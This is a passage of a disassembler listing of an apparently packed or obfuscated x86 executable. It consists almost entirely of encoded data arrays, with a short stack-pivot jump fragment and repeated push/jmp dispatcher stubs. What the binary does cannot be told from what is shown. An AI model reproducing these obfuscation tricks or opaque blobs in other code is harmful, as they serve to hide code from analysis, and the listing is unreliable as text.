375DDCDAh, 98C7BC7h dd 0E2489E89h, 6F365384h, 5B913155h, 7BF1C2EFh, 0F355CD03h dd 0A59547F0h, 0D69EACAh, 8BE386B1h, 2B1FD533h, 0DB4428C5h dd 1A400C3Bh, 0A25E3DD4h, 1A25216Eh, 54C1FE4Fh, 7FC31B51h dd 53D1D601h, 6AD62B44h, 0D9B5CB0Ch, 8A0464FFh, 0A08FB860h dd 71AF2745h, 333BC013h, 0E0584B44h, 32D05D86h, 1BE74B44h dd 5F9F20ECh, 0A7ABED67h, 0AA40029Ah, 0FBC6Bh, 328CE100h dd 4F47A245h, 88066580h, 0C6C0243Fh, 7EFE79h, 8D9956B7h dd 43A6116Dh, 0E3AC2Ah, 0C41FE8E6h, 8A5F28A6h, 0F2B479EAh dd 0CEC37BADh, 5A34B497h, 9AF40AEDh, 0AFC90A70h, 2F4D28D7h dd 61DDB930h, 6554ACCBh, 5F28A6C4h, 0D6C4EB61h, 95834BD7h dd 6DCD7F57h, 0C02B86B1h, 63B6023Dh, 17Eh, 5836B474h, 0FBD329B2h dd 8102579Dh, 2D239BDCh, 2445E863h, 0D241CEAAh, 1F5B06D8h dd 7AEDCBA7h, 4F8A862Eh, 0A205271Bh, 6F928619h, 0FB4EBDB3h dd 0BC0DC190h, 3413h, 637B2400h, 36B6A19Fh, 3B4F8A74h dd 398225C7h, 2F6F9234h, 8659F3CBh, 91C16B63h, 2F386C5Fh dd 6F923262h, 6A2D8971h, 69D22792h, 3ABC0E18h, 0B8h, 5836B4DBh dd 9FD129B2h, 559159BFh, 0D96FD379h, 0CF3C0BAFh, 0C190DCDCh dd 4DFF5B37h, 0F01A748Ah, 5531498Ah, 39BC4BB7h, 0E97CCBC3h dd 759DCF67h, 77512D43h, 549F79FCh, 759DCDC7h, 0BEB06CECh dd 76414754h, 0F160EF78h, 0E3DD25B9h, 906B2A70h, 95F34F4Fh dd 0D3BC1A52h, 64FED810h, 0DE4E513Ch, 86DC39D3h, 3F00000Eh dd 0F87BC4C2h, 0B3B6017Dh, 72F5423Ch, 342F98F6h, 606DDAB4h dd 2BA3DBCFh, 6660995Ch, 0A21C5E99h, 0E2DC12D5h, 0B7A0DC15h dd 7BADF3EAh, 0B45D8009h, 1E7C5A34h, 3B28A6C5h, 759D5C76h dd 0A392BD9Dh, 0B4CB2A40h, 0A66BFCDAh, 0CD759D5Ch, 3F26914Dh dd 78569651h, 6E16ED2h, 157189E8h, 0B2C893B9h, 0F6D6BD4h dd 9D5D5724h, 739C7C75h, 57B7AF0h, 95F32D89h, 9D5CBD42h dd 0D966DA75h, 0B77B6337h, 59F79359h, 1CDF69E4h, 0BCB795F3h dd 76AA403Eh, 8E663EC9h, 655B4F8Ah, 926E2DF2h, 5B914A6Fh dd 5C2B8763h, 7E5E3h, 96518400h, 0D41F7955h, 759D5D47h dd 8063EC6Ch, 91ED0968h, 0B5C1735h, 16759D5Eh, 0DB0C6AD0h dd 4F8CEFE6h, 30336DEDh, 4442BAB9h, 719E42E8h, 0CD73513h dd 6F8CCE7Fh, 0CB714DADh, 0EEFBE11Dh, 817D46C6h, 0A2AD2942h dd 622DA9C7h, 0FF6D6987h, 95174B81h, 0F01685C4h, 724CAC47h dd 5201D2F0h, 72D379DEh, 0D75h, 0CFBD328h, 47308EE9h, 86714DACh dd 0C08F0763h, 7EC9C525h, 0B434E011h, 718A6DDAh, 2D4FAA15h dd 0ED03E651h, 53CD2691h, 0ADF4FB80h, 6E91187Bh, 0ED5A34B4h dd 7FFDF40Ah, 5935E507h, 0F30ACDB3h, 0A11D79FCh, 219DD396h dd 3837B00Bh, 0F72BC1BDh, 0C6EF11Bh, 51B98B2h, 774FABB6h dd 968965D5h, 0C8AED66h, 4F15221Eh, 378FED7Ch, 0EDFE6548h dd 0DA1B602h, 0B6000000h, 9D52C9A4h, 9A11E875h, 36FFFFFDh dd 79559651h, 26316FD3h, 759D5D59h, 0E275827Eh, 759D5E59h dd 0B41269EAh, 159DAA96h, 240F69D1h, 4F8CEFEFh, 2C0A64D4h dd 5991D02Bh, 0B76B817Dh, 0B35C3ABCh, 73DCBA30h, 0EE1C7AF0h dd 0BBB91555h, 0DE520C13h, 0A65FBE2Ch, 0DF00000Ch, 985B24A2h dd 5396615Dh, 12D5A21Ch, 0D40FF8D6h, 404D3A94h, 0B83FBAFh dd 4640B9BCh, 82FC7EF9h, 0C2BC3235h, 5780FC75h, 7BADF5CAh dd 0B4BDA0E9h, 29B25836h, 8E51FBD3h, 9AF4706Fh, 3E2C8870h dd 894A44A5h, 0BDFA106Eh, 4D5254A7h, 76504F7h, 86EDC08Fh dd 8EB602EDh, 0B35935B5h, 1757C04Fh, 60000000h, 1BE07351h dd 38759D5Dh, 0D1AC37C0h, 90759D52h, 0FFFCD429h, 637BCEFFh dd 0DEB9C1F5h, 0A703086Ch, 0DA0D6B49h, 759E2A55h, 0E6719E62h dd 4F8B1F2Eh, 5F3D2F13h, 0DF686684h, 931FC414h, 0A514EC6Fh dd 0D27E74Ch, 1E3B8BCh, 0A45D0000h, 759D5CC3h, 0BC322596h dd 7CF275C2h, 1DC62402h, 759D5C90h, 0E0AC5BA7h, 9D5C664Fh dd 408BA175h, 4F3CB21h, 0D674BA2Eh, 2897EF0Dh, 35D7AFCDh dd 9BFC8147h, 9C16E59Bh, 3AC7E073h, 4B81759Dh, 0BC22980h dd 9665B603h, 72000001h, 6D3236B4h, 36EA6E46h, 7927C5A1h dd 7657CFEh, 0C1BD9D8Fh, 0AD48F72Bh, 0A288774Fh, 77F3743Ch dd 260DED1Fh, 759DF959h, 0C826827Eh, 8AF40B1Fh, 0E802FE4Fh dd 5E38B1B2h, 30C34CACh, 6F92F3A7h, 44C00BC1h, 0E6116D83h dd 0D5460CBh, 29C3BCh, 7BD40000h, 667DF863h, 712D8905h dd 748CCC17h, 0DE814F8Ah, 0AA403C9Ah, 9234B801h, 0AF1AD26Fh dd 0E16F15Ah, 0ECB2BCh, 0B4430000h, 0CCB25836h, 7694F20Bh dd 5D52DF08h, 9961759Dh, 1757123Dh, 0B4CA8DBFh, 625C3ABDh dd 9D5D2CF1h, 1BF74B75h, 34106EF1h, 9D5D5E23h, 88E27575h dd 9F6520Eh, 9D64FCFEh, 0B3B2C875h, 0C5C1253Ch, 0ED1FFB27h dd 0F177510Dh, 752C80AFh, 78E710C4h, 64293A18h, 73759C5Ch dd 5A34B48Fh, 19E105ADh, 8BE6343Fh, 0F12F4F8Eh, 17A4847Bh dd 8C57FF2Eh, 6F8E61FFh, 611B2414h, 44A4BF99h, 27AFD4Ah dd 866587E3h, 86095577h, 9C2AC0BCh, 0ED3C5A2Fh, 403C9862h dd 4FA7F482h, 94711BDEh, 0A8Dh, 74C3BB30h, 0AF1876F1h dd 0EE5935B4h, 2897EF0Bh, 66D1ADCDh, 9CDCC869h, 59925522h dd 1557927Dh, 0D52BCEB9h, 0BBE50EF9h, 0ADF7E3A8h, 46B9F07Bh dd 7C5A34B4h, 0E40680FBh, 0D91C0B34h, 7C5C2BA3h, 5D48D51Eh dd 936F759Dh, 73517D64h, 9D5D1BE0h, 37C03875h, 0FF2A3EBCh dd 8D60EC28h, 1EA14B27h, 3B19E6E0h, 0C890F35h, 0EB0906h dd 0B04F81AAh, 0A19EA931h, 41Eh, 1623D446h, 14239BDDh dd 84E2489Eh, 0BEAC2A43h, 2EF36442h, 45759D5Dh, 994A4AF5h dd 4F8CEF7Dh, 0D3D7B088h, 1EC9270Bh, 4979E666h, 1745E75Bh dd 113E98DCh, 81A6F546h, 43A19F69h, 81A60B90h, 27D02869h dd 0AC176A51h, 7FC21EA0h, 396h, 5E13A418h, 53D1759Dh, 0A0759D5Dh dd 625C933Eh, 5AB410C8h, 8A753189h, 1A6AE04Fh, 0EA2283C3h dd 807824D3h, 4D4F3E42h, 0DA3BD1DEh, 995h, 6CDBB3C8h, 0A7106E89h dd 0E6512D4Ch, 20EFE703h, 5E29A5C5h, 94D4C071h, 51AA4D3Ah dd 0D6F8A75h, 0CD23C6B1h, 0B3ED06F1h, 0ADF8DBA0h, 4EB1F87Bh dd 0B25836B4h, 4D0706CCh, 0A8B71D94h, 6FD30B9Fh, 0D510D331h dd 59EF53F9h, 1913D4C4h, 0D49FA861h, 4F8D85B3h, 0B3F740B8h dd 7EE9C72Bh, 497CF721h, 0BCC2A16h, 2D2B94F2h, 5D9DD42Ah dd 0BB17CB61h, 0CB9EA991h, 697CD52Ah, 0D7A48FEDh, 0C5697CD4h dd 0D9012BA3h, 7A30DF23h, 0ADA39D63h, 0FE146FAh, 0CA39C62Bh dd 91ED09CAh, 6C6A8366h, 8F0765FEh, 7E589651h, 0B845EECCh dd 0DF697CC4h, 0D4788763h, 0F6D01ACCh, 69E5756Dh, 8EBEB443h dd 0AB4B8FABh, 0FB2E0468h, 0FE660775h, 9153AF51h, 0EA6CD31Bh dd 0BE7BDA70h, 0E7000008h, 0A0430C8Ah, 7BFE4945h, 3A3D8A04h dd 0FC77C0BEh, 58B5027Ch, 136B8397h, 0AE2841A4h, 0EAE406E1h dd 2AA4DA1Dh, 7FE8945Dh, 7BADF9B2h, 7B95C8C1h, 0B6A19F63h dd 4F8CEF59h, 4384E25Eh, 0E3AC2Ah, 0B6B1EFE7h, 0CFAD5F37h dd 8CCD9764h, 0E05CBC6Fh, 84B30B63h, 0DC26B8C8h, 601871E2h dd 4117497Ch, 61F2B3FDh, 697C359Ch, 0F28147BBh, 0D10FEBEDh dd 50FAD416h, 0F416708Fh, 0ED9FA804h, 5D9E41A5h, 0BB17CB61h dd 83E47F5Dh, 8453D80Bh, 9860697Bh, 0FAC6116Fh, 1F436835h dd 85B52123h, 30DAEA6Eh, 818D5h, 56304D00h, 93EB0EE9h dd 2CAAC124h, 6A648063h, 0A4225A9Dh, 693DF2DBh, 2FCAB511h dd 0EC07F0CEh, 0A0430C8Ah, 6E834C4Ah, 0FA58250Eh, 327F7BADh dd 3F36B4CBh, 0F129C3BBh, 0ADD3B15h, 759D5C85h, 0EFA1AE92h dd 92B81654h, 5E89E715h, 759D5CD1h, 5B2770E6h, 0D7ADA0B4h dd 0C534CC7Bh, 19CA46A4h, 759DB394h, 31895FA3h, 493B3EFDh dd 0EBE95632h, 96B41268h, 774FA9AAh, 267EE5C8h, 6721B602h dd 2F000001h, 57F5D114h, 51655CEBh, 0FD4CEE9Bh, 778019E5h dd 0EA007EFCh, 0D4A31B51h, 0C42208DEh, 8A770713h, 0EC1EE24Fh dd 5A34B58Eh, 7791DAADh dd 253B6F92h, 0E770AED6h, 6F92761Ah, 6EECEA00h, 0C84BBBF8h dd 0D28EE2F7h, 0C0218A25h, 4282BC0Dh, 93000000h, 7F579651h dd 0C8E26DCDh, 61F22C16h, 4F8A73E9h, 343A14E4h, 1B6E0271h dd 6B25D294h, 925777C0h, 0F0DB116Fh, 0DF53299h, 0DAF5BCh dd 0BD9B0000h, 6207945Fh, 2C2C6F92h, 92617A07h, 96A1996Fh dd 5836B42Fh, 0F5D129B2h, 8EEE6957h, 19261A30h, 48A6205Eh dd 0F715718Fh, 5CD15E89h, 1AE6759Dh, 4B43A5BEh, 2CE79A1h dd 6D4B43B9h, 113B93EAh, 0D12F1E29h, 53F9D516h, 0FB9560EFh dd 0DF759D60h, 522C42A1h, 1BE440B8h, 0D6BCF17h, 8152AECAh dd 759D40FCh, 0A14B271Bh, 7EFA79h, 404E99F7h, 554F8F71h dd 2C488BE5h, 2C27A552h, 5394F2CCh, 0A594A31Bh, 833BA1A7h dd 81D2BF18h, 86B16D69h, 31338BE3h, 0DE4F4ECFh, 76E726C4h dd 2F000006h, 0E80BF4D2h, 0A346318Dh, 6285724Ch, 243F8806h dd 107DCAC4h, 0DBB3CBDFh, 1670896Ch, 522C4EA9h, 92EC02E5h dd 8750CC25h, 7BADFBFAh, 0B46D9019h, 0AED5A34h, 362D9AF4h dd 0B25836B4h, 0CFBD329h, 3993h, 54D4B400h, 57B1796Dh dd 37BFE79h, 730631E9h, 4F8CEF14h, 95F174CFh, 0C07C8B77h dd 0E1249F78h, 0D432F8EEh, 7C5FE503h, 499AE049h, 697C3EC4h dd 0D4B36FD3h, 456Bh, 96510C00h, 0E6CC7B53h, 0BDC3A00h dd 4F8A535Bh, 5F9D46h, 9C7CEEE8h, 7AD60A20h, 43C91FD0h dd 37AD6F92h, 698740C4h, 0F403FF6Dh, 0E4C228BEh, 7F598373h dd 86E57E49h, 0DBB70F6Fh, 0A26DC931h, 9B3Dh, 637BDA00h dd 51B6A19Fh, 564F8CEFh, 0AEF7A8EAh, 6882FC7Ch, 113B93D7h dd 0F0CE2A29h, 7F2605Ah, 4EBDA31Dh, 137C90FBh, 5B13BCh dd 7B240000h, 7EF863h, 7C5A36EAh, 4C8D5FF6h, 0C51EAE67h dd 0D8002AA4h, 6286512Fh, 674F8DE3h, 9FE6999Bh, 99B30B63h dd 3149A8C6h, 0A053F955h, 11CFB900h, 42A900CBh, 0E5BC1289h dd 1Dh, 9F637BF2h, 0EF4FB6A1h, 0E4544F8Ch, 17B0F5AEh, 3CA7FAC1h dd 0EFBC1379h, 14h, 646BA488h, 0D00E759Dh, 4FFDD917h, 23FB6493h dd 9CFFFFFFh, 0A19F637Bh, 8CEE41B6h, 9AB0264Fh, 7AA28755h dd 454DFF5Bh, 0F47F59A1h, 497CAE8Eh, 8E49A79Bh, 99F5766Dh dd 24D38F73h, 7CC61868h, 20CCD102h, 17EB436Ch, 0C3BB3E39h dd 98D31474h, 4599113Eh, 0AFA583FDh, 0D1B10BA2h, 0F2BFA4D4h dd 1636C34h, 0A58E0E39h, 3D5BC630h, 0ACD2B17h, 67496F0h dd 5BA550DDh, 3F9B675Dh, 9C52B010h, 0FD66A0C1h, 5D5C4730h dd 9975FB47h, 0E36C84h, 0D41FE8E6h, 0C5A57C38h, 1FE8E604h dd 8B10C321h, 0A8C5353Bh, 0AECCA750h, 786E3AD0h, 0E78354B2h dd 0E29F2250h, 5886EC1Eh, 0C3641A92h, 0C14ED917h, 3BB1D03Bh dd 0F771F443h, 8FEA6D9Fh, 0C0BC1A50h, 17E2702Ah, 2996F00Ah dd 38D2ACCEh, 0EE0EB0C7h, 0D3047A90h, 0BF29804Eh, 1A5E9565h dd 0B1358EBCh, 8E7DF3D5h, 49B0B694h, 77C0BE38h, 9E647B00h dd 7D00E6Ch, 759D5C7Ah, 6B302399h, 88759D5Ch, 0E01FD4B0h dd 609E59E6h, 5A9CC466h, 60CA1D6Fh, 0A01E5C97h, 0B9C60C62h dd 0B8AACABEh, 27F47F59h, 4C759D7Ah, 0B0C043CCh, 69F8C365h dd 9A5DBB13h, 19C16B63h, 91D46FEEh, 0AEA91735h, 33C6714Dh dd 759D796Eh, 11309B51h, 0D40FF8D6h, 5D163492h, 759D7B0Dh dd 96B3061Ch, 7A8D7A54h, 759D9D31h, 79B0742Ah, 5D39E444h dd 3BBE44Eh, 0FF7B47B6h, 0B450FFFFh, 91EF5836h, 5836B0B3h dd 9D5D068Bh, 222D2D75h, 0AECA2947h, 6AC63AD0h, 0FDD91728h dd 303666A7h, 7BF25CE5h, 67FD0A27h, 1F77F594h, 2066DA0h dd 350EB602h, 3885BB5h, 10759E55h, 78F74C28h, 30CEC1Eh dd 4412h, 96512300h, 0E7CB7452h, 0ADD3BFFh, 4F8CEEECh dd 0ED0301F9h, 95B70F6Ah, 228A6C2h, 72D562DEh, 0C732321Eh dd 0D80B7175h, 6F8CCE53h, 0C23C9860h, 8F0763E4h, 0C792BD9Dh dd 497C60A1h, 2FB54A4h, 3Eh, 9F637B23h, 4442A6A1h, 1D5E10A6h dd 8F09D67Bh, 0B3A424D3h, 4F8CFE55h, 0F1AAE850h, 0D43202AAh dd 8CDC7E03h, 24E8A16Fh, 0EEAA17F7h, 9D63EC6Ch, 200ADC2Eh dd 0DDF71DC6h, 0EF2497Ch, 36B46A51h, 87E57E58h, 8B4C000Fh dd 84AE1975h, 0B5BE9862h, 4F8A5861h, 0A01E5F98h, 0F7A9568Ah dd 0FD4EE10Bh, 976F9257h, 343A6A51h, 0C430E82Bh, 218CBB47h dd 0BC0E1CBAh, 286Dh, 637B0A00h, 36B6A19Fh, 3B4F8A74h dd 894A44A0h, 7FB116Dh, 9D2E81ABh, 376F9234h, 0C77CA31h dd 9FBC0E18h, 0D7h, 5836B4B8h, 0F5D129B2h, 106E8C57h, 8FF83036h dd 6AA9BBE5h, 52A833DDh, 0F6788B74h, 32759E44h, 0F275C2BCh dd 0AC31687Ch, 6C0274BEh, 0A39F8D09h, 0B1C16BC7h, 8DEBC52Dh dd 9D67D55Ah, 0F11EE275h, 36B2B593h, 678409DAh, 0AF93759Dh dd 56E159F3h, 8A769383h, 0F0D88E4Fh, 0A346FD40h, 78B8293Fh dd 0EA34B3A7h, 7569410Eh, 143690EAh, 0C56E4824h, 498423F5h dd 0CD0660D8h, 8366D1ADh, 0F9D1136Bh, 1EE45A96h, 1F3916Ch dd 55AA0000h, 106B8E79h, 0CF2EC9B6h, 89ED08F7h, 47A7420Dh dd 628F804Fh, 0EF5836B6h, 2C9BF374h, 68D7AFC9h, 0A8176F8Dh dd 7D02D543h, 9A7BAE00h, 34B4E017h, 5C820FD8h, 4EA5759Dh dd 0B0AF6D0Bh, 0F854A456h, 0AB23459Eh, 344AAD9Ch, 7BF6ED5Ah dd 0B6A19F63h, 4F8A7436h, 0B10D6CE7h, 0C466DA86h, 9233DA63h dd 1571886Fh, 0B30B6CF7h, 6B302399h, 886F9232h, 0EEDD9BB0h dd 0F2754334h, 6CF4037Bh, 17DF449Dh, 0DF40BC0Eh, 55000000h dd 7F579651h, 7E26DCDh, 1A748AE9h, 0BEAC08F0h, 23C9C525h dd 9D594688h, 0B20C6275h, 70CC22C5h, 9D581AE7h, 65C13975h dd 0A8BB99C7h, 759D57E3h, 0ABFF08F0h, 0B391CF33h, 0B15E38B0h dd 8A66EE26h, 0A06FD34Fh, 7189548Ah, 0AF0BF715h, 7633E671h dd 20184984h, 8AE90DC6h, 8DBF1B73h, 0C422A2ADh, 7EECEA03h dd 7AF27582h, 38B0B31Ch, 4536845Eh, 0B755E45Ah, 0F056h dd 7E589500h, 0BB135691h, 0F4D229CCh, 328CE80Bh, 4C4AA245h dd 0B1658A83h, 77F25D39h, 342F98F6h, 886BD4B2h, 46AB1472h dd 1800DD6h, 1A977BAEh, 0B69B51E3h, 1571880Ch, 0C6C50BF7h dd 279FD836h, 0CE79D505h, 0CFBD32Bh, 0BEB993E9h, 0D92413Dh dd 1E759DD9h, 83FF47DEh, 12C07A5Dh, 9957FB86h, 0E8442011h dd 36B4381Fh, 0D329B258h, 215A9DFBh, 0AC5B87A5h, 0D2895FBDh dd 583E817Eh, 0F6D0837h, 0FC8C8B7h, 8F6A95F1h, 89F71571h dd 30772B43h, 61EE0E97h, 30474296h, 4187F1E7h, 0BEFE72E1h dd 0F28AB58Fh, 22449F07h, 3D2FA7C3h, 13D661DDh, 6E6886DDh dd 0ED7654B2h, 7492220h, 0CD3CCB37h, 9CFAD42Ah, 9EA9255Bh dd 354B8CF2h, 0AFCBAE59h, 47A235D7h, 0E11ADD4Fh, 0DD1347E5h dd 1CD234EEh, 605E9CADh, 0A01E5C97h, 34B8Ah, 936C0000h dd 5F37B42Ch, 0FAD42AADh, 116D8F50h, 8F0760FBh, 24A2DA9Dh dd 413DBD06h, 0FAD410ABh, 16708F50h, 8E0863F4h, 0E568199Ch dd 89000063h, 89562434h, 4C681E6h, 83000000h, 348704EEh dd 3C895C24h, 4F766824h, 0C890000h, 97685024h, 5807F54Eh dd 8AFF5405h, 58C7892Ah, 2A0AE781h, 0E7813341h, 5AC76842h dd 19BC781h, 0C7817170h, 82A086DEh, 240C8B54h, 8304C483h dd 3C8904ECh, 8418F24h, 592434FFh, 8B04C483h ; --------------------------------------------------------------------------- cmp al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5503D9 ; --------------------------------------------------------------------------- dw 87F0h dd 5EF87C1Eh, 75CD5C86h, 4D290DBAh, 10A636B8h, 0FFC50306h dd 9DADACE0h, 0ECC17C4Ch, 6ACBE62Ah, 511E355Eh, 9104BC27h dd 0EE4CA13Dh, 6E09C63h, 0C0941966h, 0EF13F761h, 942A945Eh dd 0BDBFCA36h, 9E842h, 6B5A0000h, 0F77A1C2Dh, 0FF5CB3Fh dd 589h, 0F7816600h, 565A3C0Bh, 14E9h, 0D3A6EB00h, 983BF21h dd 5F940A66h, 65456B72h, 0C9D8A2ECh, 0C2815B27h, 6319h dd 10E9h, 29AE2200h, 0EF108D68h, 2FC19596h, 46F5B6EBh dd 1890B952h, 0BF0F0000h, 60328BC3h, 0F616060h, 6161FBBFh dd 3DE8C681h, 0D4806075h, 21F681D1h, 664FA3D0h, 814442BBh dd 49BA46EEh, 0EB816610h, 3289FE2Fh, 0EA83C78Bh, 7830F02h dd 50000000h, 6CF8166h, 4A4A5854h, 0C1B70F57h, 1E98158h dd 0F000000h, 1A85h, 12EFB800h, 30E9394Bh, 0E3000000h dd 0FA67209Fh, 0ACE45AFFh, 8B00BF28h, 0F0DEA6Fh, 18Ch dd 8AE9F800h, 0B8FFFFFFh, 0B418A160h, 0F4615F19h, 0ED60E2Bh dd 891D649Bh, 8D2E4E5Ah, 10A8BB8Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 1F9F280Ch dd 4D8D893Fh, 6A060B17h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 520BC353h, 0ACEC2F2Ch dd 1985C710h, 28060B01h, 6A00005Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0F6EC350h dd 100985C7h, 60Bh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 830F7EC3h, 6, 65B9EA81h dd 0B5FF4846h, 60B0ED9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0D0C35242h, 0CB18509h, 95FF060Bh, 60B0AC5h dd 2870Fh, 0F38B0000h, 95FF006Ah, 60B32DDh, 0DEBC08Bh dd 0AB71B69Fh, 0FF311A5Bh, 1B547F0Bh, 0C508EB14h, 9C797E7Fh dd 0E977E733h, 0DA8h, 10AAC268h, 0D651E906h, 1668FFFAh dd 0E90610ACh, 0FFFAD647h, 10AD9968h, 0D63DE906h, 0B468FFFAh dd 0E90610AEh, 0FFFAD633h, 10B02A68h, 0D629E906h, 5568FFFAh dd 0E90610B2h, 0FFFAD61Fh, 10B40668h, 0D615E906h, 0F068FFFAh dd 0E90610B4h, 0FFFAD60Bh, 4AA9A0F2h, 0E47F4A5Dh, 12C1F80Bh dd 4D96ADF5h, 0FE6558A0h, 0A7FD1047h, 55AA5B98h, 0A1A8B68h dd 0B2C72033h, 0BDAF5C87h, 84B45D29h, 0FD63D2C5h, 176DD5DEh dd 75BBA428h, 0D488270Fh, 2B9FF3D7h, 92AFF421h, 0B18C9974h dd 93A8F4A2h, 0C5CE3F49h, 26C00488h, 9F80D35Eh, 0AA1E64BDh dd 618ECABAh, 0C334B3Ah, 88C7D1B8h, 0D9D4CE04h, 2E38767Eh dd 0A387DE68h, 619B2A8Eh, 2C353FC8h, 48E1h, 0BCC47B00h dd 0B5B700C4h, 4B7A1CEDh, 0B43E1D8Ch, 0D6FA49Ah, 0D140E476h dd 5EBD9F05h, 2195A8F1h, 2D0589EDh, 3A60CB5Dh, 0E635E088h dd 5A2367EBh, 0D4CE7845h, 0C70A23D9h, 1C272C35h, 0B5000001h dd 189FB406h, 0AC5A781Bh, 0BB33BDB6h, 0C3941DCFh, 1DCDB92Dh dd 7842C394h, 0EFE62E9Fh, 0B9CD618Bh, 0EC3941Dh, 0E6331A34h dd 25DA01EBh, 7E0AA2BEh, 0F1C39456h, 0C2354E89h, 8C5EB25Ch dd 59AC1461h, 4CA0E468h, 0E36A84F8h, 0D5E43399h, 23C92D61h dd 26AAA7F2h, 1DCC44E2h, 625FA808h, 0EBD62F9Eh, 7ECF2367h dd 37251938h, 6987BEC6h, 0D2EF38E1h, 7C3C9D01h, 0EA3FC394h dd 45C34704h, 0D222A328h, 0B0A387FBh, 6D814257h, 0C394D719h dd 0CCB094EEh, 0A14BD0ACh, 9FC9080Dh, 1EC53DBDh, 0ADDB0092h dd 0CC8CFF10h, 987F0BDBh, 8AF03A61h, 273C405Ch, 9CBB135h dd 0CBA4446Ch, 43A98DBCh, 0F2AC4E52h, 0DB1DC2D3h, 3AEB086Ch dd 0A10DFE6h, 798C6A67h, 0AFF3689h, 0A1C0000h, 0B0C72033h dd 66B55281h, 71F886Bh, 0B6CA3B38h, 86ED548Fh, 31221D67h dd 61F2CFD4h, 9E457084h, 0CA292471h, 0C7832BC1h, 48C584B7h dd 0DADE03F9h, 7C8471FBh, 23CCA741h, 4D5D20D6h, 0CE9FCF77h dd 0BD8B09EAh, 0D8764B50h, 0B9A3B8C4h, 1DC3872Fh, 8529C394h dd 0C3941DC1h, 0BF837C46h, 0A04DDF91h, 39CD7B5Ah, 0BD9F0598h dd 82C66EF8h, 53A60CBh, 917A2BE6h, 81E50686h, 2E92E867h dd 60774606h, 5CB2C73Ah, 967DC52Fh, 15F9DDE3h, 9D615CA4h dd 1C6E7FB5h, 0FFCC73F9h, 8BE78DA0h, 3FCEE806h, 0C7832BB5h dd 483A6067h, 0C36AD472h, 0EE2C356Ah, 0EDh, 6DD5DE76h dd 41352914h, 0C9BD8098h, 9418B819h, 0A56EBBC3h, 6BE64501h dd 47F0CA3Ch, 0B1D26DEAh, 6EFCD07Eh, 0B05E69BFh, 0F0CDD637h dd 3336F56Ah, 0E3D97476h, 0CFADCD45h, 0B0EA6B4h, 5142608Ch dd 9BA5CA4h, 93CAD32Bh, 0D433DD31h, 7AF27CEEh, 3A60830Eh dd 0D1E66281h, 98DD81A6h, 8DE98AA4h, 7E0AA2EFh, 0F13A608Eh dd 2F479589h, 446D1E56h, 0D0B4384Ah, 573072FFh, 7C46C563h dd 6BB15CEEh, 877E054h, 0B412ACB5h, 62EB0579h, 0D33C271Eh dd 1379F6C9h, 288C6B23h, 9AB65DAh, 0BEC80000h, 64B35C87h dd 12618E55h, 0B3CB243Fh, 62B6578Ch, 2A318053h, 6DF6C9D3h dd 9D467B80h, 0CA292470h, 66FDC8DDh, 0ABDF5795h, 3CC584B1h dd 0DADED74Dh, 1EC78FBh, 1377DBF6h, 320F18F5h, 98A7FD28h dd 4334534h, 7C435920h, 0D99AB488h, 0F8D5DE3Bh, 0F050A514h dd 0ADB6AAA7h, 4A90ABF1h, 9F24BB22h, 57AC59BDh, 84A2E66Ah dd 67CFB387h, 3A60E866h, 0B5FE2FBDh, 0D5E83198h, 0E46C793Bh dd 6CD0EF39h, 0ED1CFE28h, 0C42C3501h, 63Ch, 0E30D6F20h dd 0C9D3BA95h, 0EACE02F6h, 216DEC00h, 0F8C2BD9Fh, 59708372h dd 937791F5h, 60EE3353h, 8B7AE63Ah, 9AFE427Dh, 3CEAE533h dd 78916B7Ah, 512C3500h, 604h, 760D6FBFh, 0B6D25AE4h, 39C3941Dh dd 214527C1h, 0BD9F2F58h, 9D9AD95h, 3A60FC79h, 0C4D13CACh dd 0DF874E89h, 36C043Dh, 0CEC2C3E5h, 2C34CE1Fh, 0AAA7F01Dh dd 0BD44E226h, 5C8h, 0E32D465Bh, 1DA9DD51h, 0EB30C394h dd 0F71169D6h, 9C4ED5A7h, 9F053D08h, 67AE5FBDh, 84A2E66Ah dd 0E2DF2687h, 1847A98Eh, 9110D8C4h, 201F65F7h, 0EA04785Ch dd 752B431Ah, 575923CEh, 4A8E724Dh, 61608456h, 0EED04020h dd 0A51A2094h, 974F6C4Dh, 4458F678h, 0B5392338h, 0DA4CBAD8h dd 168755ADh, 0C223300Dh, 5B3F5FB1h, 0CFC6C295h, 5C7F23A7h dd 7A5EA4A2h, 5A6DC906h, 0A4AE1E89h, 828E3h, 4334700h dd 0EAE72EDFh, 0BC8D9C09h, 13046A7h, 0D0EF35D2h, 4EADB403h dd 3FE80B4Ah, 0EF18DBE6h, 58B5AE99h, 18E1724Fh, 0B0285CD0h dd 0D0BFC584h, 0B71EBD68h, 0F4FAED88h, 0D16F711h, 0FFE4C30h dd 9C20CEF9h, 7DF17B00h, 0BD84F8DEh, 5A816BAFh, 4FF2BCE2h dd 0DF98B639h, 7B0A4757h, 0A29FE63Ah, 4F86FADEh, 6AE75BEh dd 3A7B0A42h, 0A4004A8h, 0F3C73A7Bh, 19DA3E04h, 3B1A1E8Fh dd 0C9D57357h, 2B43A9B2h, 3A7B0A57h, 0BF6ED228h, 12845F6Ah dd 3A7B0B62h, 0F60FB5C3h, 2F0347CBh, 532B9E3Dh, 167CCF61h dd 858E7FF8h, 1C6CC448h, 293C84A1h, 15FA0Bh, 0B4C12E35h dd 0ADC15399h, 3A7BE1D9h, 56BA54AEh, 7BD1EE9Eh, 6461233Ah dd 845F6ABFh, 2D879D08h, 2519EDD8h, 1E2378C1h, 1140BF0h dd 0DE950000h, 0A514F8D5h, 94ABF153h, 488EC20h, 941D582Ch dd 0F9D421C3h, 7C98C715h, 221F66B8h, 0F7D58815h, 2C374559h dd 0B805B63Eh, 1C66427Bh, 632965D3h, 0D7A89A86h, 70Dh dd 3221186Ah, 6CF7C2D5h, 9A597083h, 352E156Dh, 66FDC0D8h dd 2F7588DFh, 0DD22C310h, 829273E0h, 2A7FA84Bh, 3537C41Fh dd 84B3D5B1h, 75EB5AC5h, 14F8D5DEh, 0FA605FA5h, 1D80C468h dd 3307C394h, 63B55215h, 8F598654h, 0C8BC305Bh, 5FC394F4h dd 0C3F3DC7Bh, 0FA2BCC7Ah, 